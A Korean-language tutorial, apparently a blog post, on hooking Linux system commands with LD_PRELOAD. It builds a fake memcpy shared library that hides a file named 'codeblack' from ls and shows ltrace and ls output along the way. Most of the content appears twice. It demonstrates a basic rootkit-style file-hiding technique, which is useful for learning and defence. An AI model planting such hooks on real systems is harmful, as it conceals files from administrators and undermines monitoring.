Linux System hooking using LD_PRELOAD(공유라이브러리를 이용한 리눅스 시스템 명령 후킹)
공유 라이브러리의 경로를 의미하는 LD_PRELOAD를 이용하여 Linux System 후킹에 대한 이야기입니다.
크게 시나리오를 보자면 LD_PRELOAD에 공격자가 .so 파일을 삽입하고 시스템 명령이 해당 so 파일을 로드하여
명령 내에서 사용되는 함수를 바꿔치기 하여 데이터를 숨기는 과정입니다.
LD_PRELOAD에 경로 설정 시 dynamic linker 가 해당 경로의 so 파일을 공유 라이브러리로 무조건 선적재하기 때문에
시스템에서 사용되는 명령의 함수를 바꿔치기 할 수 있습니다.
ltrace 는 apt 패키지 매니저를 이용하여 쉽게 설치가 가능하다.(debian, ubuntu 기준)
# apt-get install ltrace # ltrace 설치 / Tracks runtime library calls in dynamically linked programs
# ltrace
Usage: ltrace [option ...] [command [arg ...]]
Trace library calls of a given program.
-a, --align=COLUMN align return values in a secific column.
-A ARRAYLEN maximum number of array elements to print.
-c count time and calls, and report a summary on exit.
-C, --demangle decode low-level symbol names into user-level names.
-D, --debug=LEVEL enable debugging (see -Dh or --debug=help).
-Dh, --debug=help show help on debugging.
-e expr modify which events to trace.
-f trace children (fork() and clone()).
-F, --config=FILE load alternate configuration file (may be repeated).
-h, --help display this help and exit.
-i print instruction pointer at time of library call.
-l, --library=FILE print library calls from this library only.
-L do NOT display library calls.
-n, --indent=NR indent output by NR spaces for each call level nesting.
-o, --output=FILE write the trace output to that file.
-p PID attach to the process with the process ID pid.
-r print relative timestamps.
-s STRLEN specify the maximum string size to print.
-S display system calls.
-t, -tt, -ttt print absolute timestamps.
-T show the time spent inside each call.
-u USERNAME run command with the userid, groupid of username.
-V, --version output version information and exit.
-x NAME treat the global NAME like a library subroutine.
ls 명령 사용 시 발생하는 lib call 을 확인하면 아래와 같다.
# ltrace ls
.....
opendir(".") = 0x011f1c30
readdir(0x011f1c30) = 0x011f1c60
readdir(0x011f1c30) = 0x011f1c78
strlen("codeblack") = 9
malloc(10) = 0x011f9c70
memcpy(0x011f9c70, "codeblack", 10)
....
해당 내용을 보면 각 파일별로 malloc 을 통해 메모리를 할당하고 memcpy 를 통해 각 파일명을 copy 함을 알 수 있다.
이제 이 memcpy 함수를 변조하여 숨겨야할 파일(codeblack)을 숨겨보도록 하겠다.
아래와 같이 memcpy 함수를 구현한다.
man 명령을 통해 memcpy 확인 시 인자값에 쉽게 확인 가능하다.
NAME
memcpy - copy memory area
SYNOPSIS
#include <string.h>
void *memcpy(void *dest, const void *src, size_t n);
동일한 형태로 함수 구성 후 기능 또한 동일하게 구현한다. (hahwul.c 참조)
-------------------------
-- hahwul.c (fake memcpy)
#include <stdio.h>
void *memcpy(void *dest, const void *src, size_t count) {
char* dst8 = (char*)dest;
char* src8 = (char*)src;
while (count--) {
*dst8++ = *src8++;
}
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
return dest;
}
-------------------------
# gcc -shared -fPIC -o hahwul.so hahwul.c
hahwul.so
gcc options
- fPIC : PIC(Position-Independent Code) 이며 .o 파일을 동적라이브러리(Dynamic LIB)로 해당 옵션을 통해 Object 파일을 .so 파일로 묶는다
- shread : 공유 라이브러리와 링크 / 공유 라이브러리가 없는 경우 정적 라이브러리와 링크
동적 라이브러리, 공유 라이브러리 옵션을 포함하여 gcc 를 이용해 컴파일 후 LD_PRELOAD 에 .so 파일을 넣고 ls 실행 결과
printf 를 사용하여 찍어낸 내용이 나타난다. (ls 내 memcpy 함수가 우리가 만든 함수로 동작)
# LD_PRELOAD=./hahwul.so ls
H4ck : memcpy[1727050][]
H4ck : memcpy[1727090][]
H4ck : memcpy[172bc10][.]
H4ck : memcpy[1733c70][hahwul.so]
H4ck : memcpy[1733c90][codeblack]
H4ck : memcpy[1733cb0][data1]
H4ck : memcpy[1733cd0][hahwul.c]
H4ck : memcpy[1733cf0][data2]
H4ck : memcpy[172bc60][�pr ]
H4ck : memcpy[172bc50][�pr ]
codeblack data1 data2 hahwul.c hahwul.so
여기서 ls 명령 시 codeblack 파일을 안보이게 처리하기 위해서는 .so 파일의 코드에 codeblack 이란 문자열을
비교하여 memcpy 를 하지 않으면 된다.
codeblack 비교 구문 추가
if(strcmp(src,"codeblack")==0)
{
return dest;
}
-------------------------
-- hahwul.c (fake memcpy)
#include <stdio.h>
void* memcpy(void* dest, const void* src, size_t count) {
char* dst8 = (char*)dest;
char* src8 = (char*)src;
if(strcmp(src,"codeblack")==0)
{
return dest;
}
while (count--) {
*dst8++ = *src8++;
}
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
return dest;
}
------------------
컴파일 후 LD_PRELOADdp .so 파일을 넣어 확인 시 codeblack 파일은 노출되지 않는다.
# gcc -shared -fPIC -o hahwul.so hahwul.c #so 파일 생성
# LD_PRELOAD=./hahwul.so ls #LD_PRELOAD에 .so 파일 포함 후 ls 실행
H4ck : memcpy[13e6050][]
H4ck : memcpy[13e6090][]
H4ck : memcpy[13eac10][.]
H4ck : memcpy[13f2c70][hahwul.so]
H4ck : memcpy[13f2cb0][data1]
H4ck : memcpy[13f2cd0][hahwul.c]
H4ck : memcpy[13f2cf0][data2]
H4ck : memcpy[13eac60][�`> ]
H4ck : memcpy[13eac50][�`> ]
data1 data2 hahwul.c hahwul.so
위와 같이 간단하게 memcpy 함수를 조작하여 ls 명령으로 데이터 확인 시 숨길 수 있다.
http://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick
크게 시나리오를 보자면 LD_PRELOAD에 공격자가 .so 파일을 삽입하고 시스템 명령이 해당 so 파일을 로드하여
명령 내에서 사용되는 함수를 바꿔치기 하여 데이터를 숨기는 과정입니다.
LD_PRELOAD에 경로 설정 시 dynamic linker 가 해당 경로의 so 파일을 공유 라이브러리로 무조건 선적재하기 때문에
시스템에서 사용되는 명령의 함수를 바꿔치기 할 수 있습니다.
1. runtime library call 확인을 위한 ltrace 설치 및 사용
일단 시스템 명령의 runtime lib의 call 을 확인하기 위해 ltrace 라는 툴을 사용하여 확인한다.ltrace 는 apt 패키지 매니저를 이용하여 쉽게 설치가 가능하다.(debian, ubuntu 기준)
# apt-get install ltrace # ltrace 설치 / Tracks runtime library calls in dynamically linked programs
# ltrace
Usage: ltrace [option ...] [command [arg ...]]
Trace library calls of a given program.
-a, --align=COLUMN align return values in a secific column.
-A ARRAYLEN maximum number of array elements to print.
-c count time and calls, and report a summary on exit.
-C, --demangle decode low-level symbol names into user-level names.
-D, --debug=LEVEL enable debugging (see -Dh or --debug=help).
-Dh, --debug=help show help on debugging.
-e expr modify which events to trace.
-f trace children (fork() and clone()).
-F, --config=FILE load alternate configuration file (may be repeated).
-h, --help display this help and exit.
-i print instruction pointer at time of library call.
-l, --library=FILE print library calls from this library only.
-L do NOT display library calls.
-n, --indent=NR indent output by NR spaces for each call level nesting.
-o, --output=FILE write the trace output to that file.
-p PID attach to the process with the process ID pid.
-r print relative timestamps.
-s STRLEN specify the maximum string size to print.
-S display system calls.
-t, -tt, -ttt print absolute timestamps.
-T show the time spent inside each call.
-u USERNAME run command with the userid, groupid of username.
-V, --version output version information and exit.
-x NAME treat the global NAME like a library subroutine.
ls 명령 사용 시 발생하는 lib call 을 확인하면 아래와 같다.
# ltrace ls
.....
opendir(".") = 0x011f1c30
readdir(0x011f1c30) = 0x011f1c60
readdir(0x011f1c30) = 0x011f1c78
strlen("codeblack") = 9
malloc(10) = 0x011f9c70
memcpy(0x011f9c70, "codeblack", 10)
....
해당 내용을 보면 각 파일별로 malloc 을 통해 메모리를 할당하고 memcpy 를 통해 각 파일명을 copy 함을 알 수 있다.
이제 이 memcpy 함수를 변조하여 숨겨야할 파일(codeblack)을 숨겨보도록 하겠다.
2. 가짜 memcpy 함수를 구현(ls 명령에 사용되는 memcpy 구현)
아래와 같이 memcpy 함수를 구현한다.
man 명령을 통해 memcpy 확인 시 인자값에 쉽게 확인 가능하다.
NAME
memcpy - copy memory area
SYNOPSIS
#include <string.h>
void *memcpy(void *dest, const void *src, size_t n);
동일한 형태로 함수 구성 후 기능 또한 동일하게 구현한다. (hahwul.c 참조)
-------------------------
-- hahwul.c (fake memcpy)
#include <stdio.h>
void *memcpy(void *dest, const void *src, size_t count) {
char* dst8 = (char*)dest;
char* src8 = (char*)src;
while (count--) {
*dst8++ = *src8++;
}
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
return dest;
}
-------------------------
# gcc -shared -fPIC -o hahwul.so hahwul.c
hahwul.so
gcc options
- fPIC : PIC(Position-Independent Code) 이며 .o 파일을 동적라이브러리(Dynamic LIB)로 해당 옵션을 통해 Object 파일을 .so 파일로 묶는다
- shread : 공유 라이브러리와 링크 / 공유 라이브러리가 없는 경우 정적 라이브러리와 링크
동적 라이브러리, 공유 라이브러리 옵션을 포함하여 gcc 를 이용해 컴파일 후 LD_PRELOAD 에 .so 파일을 넣고 ls 실행 결과
printf 를 사용하여 찍어낸 내용이 나타난다. (ls 내 memcpy 함수가 우리가 만든 함수로 동작)
# LD_PRELOAD=./hahwul.so ls
H4ck : memcpy[1727050][]
H4ck : memcpy[1727090][]
H4ck : memcpy[172bc10][.]
H4ck : memcpy[1733c70][hahwul.so]
H4ck : memcpy[1733c90][codeblack]
H4ck : memcpy[1733cb0][data1]
H4ck : memcpy[1733cd0][hahwul.c]
H4ck : memcpy[1733cf0][data2]
H4ck : memcpy[172bc60][�pr ]
H4ck : memcpy[172bc50][�pr ]
codeblack data1 data2 hahwul.c hahwul.so
3. ls 명령 시 codeblack 파일이 노출되지 않도록 memcpy 함수 수정
여기서 ls 명령 시 codeblack 파일을 안보이게 처리하기 위해서는 .so 파일의 코드에 codeblack 이란 문자열을
비교하여 memcpy 를 하지 않으면 된다.
codeblack 비교 구문 추가
if(strcmp(src,"codeblack")==0)
{
return dest;
}
-------------------------
-- hahwul.c (fake memcpy)
#include <stdio.h>
void* memcpy(void* dest, const void* src, size_t count) {
char* dst8 = (char*)dest;
char* src8 = (char*)src;
if(strcmp(src,"codeblack")==0)
{
return dest;
}
while (count--) {
*dst8++ = *src8++;
}
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
return dest;
}
------------------
컴파일 후 LD_PRELOADdp .so 파일을 넣어 확인 시 codeblack 파일은 노출되지 않는다.
# gcc -shared -fPIC -o hahwul.so hahwul.c #so 파일 생성
# LD_PRELOAD=./hahwul.so ls #LD_PRELOAD에 .so 파일 포함 후 ls 실행
H4ck : memcpy[13e6050][]
H4ck : memcpy[13e6090][]
H4ck : memcpy[13eac10][.]
H4ck : memcpy[13f2c70][hahwul.so]
H4ck : memcpy[13f2cb0][data1]
H4ck : memcpy[13f2cd0][hahwul.c]
H4ck : memcpy[13f2cf0][data2]
H4ck : memcpy[13eac60][�`> ]
H4ck : memcpy[13eac50][�`> ]
data1 data2 hahwul.c hahwul.so
위와 같이 간단하게 memcpy 함수를 조작하여 ls 명령으로 데이터 확인 시 숨길 수 있다.
reference site
http://hyunmini.tistory.com/55http://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick